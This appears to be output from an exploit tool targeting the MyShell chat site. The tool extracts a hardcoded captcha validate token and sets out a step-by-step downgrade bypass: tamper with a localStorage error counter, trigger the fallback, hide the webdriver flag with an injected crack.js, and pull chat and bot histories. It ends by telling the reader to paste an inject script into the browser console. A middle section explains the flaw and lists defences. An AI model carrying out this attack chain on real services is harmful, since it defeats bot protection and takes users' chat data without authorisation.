XML
============================================================
[阶段1] 提取 DEFAULT_VALIDATE 令牌
------------------------------------------------------------
[!!!] 令牌提取成功! (508 chars)
令牌前缀: QjGAuvoHrcpuxlbw7cp4WnIbbjzG4rtSlpc7EDovNHQS._ujzPZpeCInSxIT...
============================================================
[阶段2] 分析目标页面
------------------------------------------------------------
路径: /chat/1702817964
页面获取失败,使用默认参数
storeKey = /chat/1702817964_UNKNOWN_NECAPTCHA_ERROR_COUNTS
============================================================
[阶段3] 构造降级绕过攻击载荷
------------------------------------------------------------
============================================================
HARDCODED_VALIDATE_TOKEN 漏洞利用报告
============================================================
[令牌信息]
DEFAULT_VALIDATE: QjGAuvoHrcpuxlbw7cp4WnIbbjzG4rtSlpc7EDovNHQS._ujzPZpeCInSxIT4WunuDDh8dRZYF2GbBGW...
令牌长度: 508 chars
captchaId: UNKNOWN
storeKey: /chat/1702817964_UNKNOWN_NECAPTCHA_ERROR_COUNTS
降级阈值: 3
[攻击步骤]
[Step 1] 操纵 localStorage
代码: localStorage.setItem("/chat/1702817964_UNKNOWN_NECAPTCHA_ERROR_COUNTS", "3")
效果: 将错误计数设为3,等于 errorFallbackCount
[Step 2] 触发验证码加载
代码: initNECaptchaWithFallback(config, onload, onerror)
效果: 代码从 localStorage 读取错误计数 = 3
[Step 3] 自动降级
代码: errorCallbackCount >= errorFallbackCount → fallbackFn(DEFAULT_VALIDATE)
效果: 降级回调被触发,跳过人机验证
[Step 4] 获得 validate 令牌
代码: onVerify(null, { validate: "QjGAuvoHrcpuxlbw7cp4WnIbbjzG4rtSlpc7EDov..." })
效果: 业务逻辑收到 validate 令牌,认为验证通过

、
验证码降级攻击技术分析
验证码降级攻击是一种通过操纵客户端存储或触发特定条件,绕过复杂验证机制直接获取令牌的技术。以下是与该漏洞相关的技术细节和防御建议:
攻击原理
攻击者通过修改localStorage中的错误计数密钥,使系统误判验证失败次数已达到阈值。当错误计数超过预设的降级阈值时,系统会自动回退到使用硬编码的DEFAULT_VALIDATE令牌,从而跳过实际的人机验证流程。
漏洞利用步骤
操纵客户端存储
通过JavaScript代码localStorage.setItem修改特定路径下的错误计数,例如将/chat/1702817964_UNKNOWN_NECAPTCHA_ERROR_COUNTS设置为降级阈值3。
触发验证码初始化
调用initNECaptchaWithFallback函数时,系统会从localStorage读取错误计数值。由于计数值已被篡改,系统判定需要降级处理。
自动降级机制
验证模块检测到errorCallbackCount >= errorFallbackCount时,直接调用降级回调函数fallbackFn,并返回硬编码的DEFAULT_VALIDATE令牌。
获取验证令牌
业务逻辑接收包含DEFAULT_VALIDATE令牌的响应,错误认为用户已通过人机验证。
防御措施
服务器端校验
所有验证令牌必须在服务器端进行二次校验,包括检查令牌的时效性、来源IP是否匹配、使用次数等。
动态令牌生成
避免使用硬编码的默认令牌,改为每次生成唯一的临时令牌,并限制其使用条件和生命周期。
客户端保护
对localStorage的敏感操作加入签名验证,防止客户端篡改关键参数。
阈值动态调整
降级阈值不应固定为常量,建议结合用户行为分析动态调整。
============================================================
MyShell 登录绕过 + 漏洞利用报告
============================================================
风险等级: CRITICAL
漏洞总数: 2 (Critical=1, High=0, Medium=1)
--- 侦察信息 ---
Build ID: N/A
captchaId: N/A
JS 文件: 0
Webpack 模块: 0
API 端点: 6
Auth Tokens: N/A
Cookies: '__cf_bm'
--- 漏洞列表 ---
CRITICAL HARDCODED_VALIDATE_TOKEN: 508字符硬编码令牌可绕过人机验证
MEDIUM API_ENDPOINTS_EXPOSED: 发现 6 个 API 端点
--- 攻击链 ---
注入 crack.js → 桥接 ChatModuleBridge (模块 783091)
绕过 script.js 反检测 → 隐藏 webdriver 标识
localStorage.setItem(storeKey, '3') → 触发降级
initNECaptchaWithFallback → DEFAULT_VALIDATE 绕过验证码
ChatBridge.getWidgetHistory/getBotHistory → 获取数据
--- 下一步 ---
打开 DevTools → Console → 粘贴 exploit-browser-inject.js 内容
然后刷新页面,验证码将自动降级绕过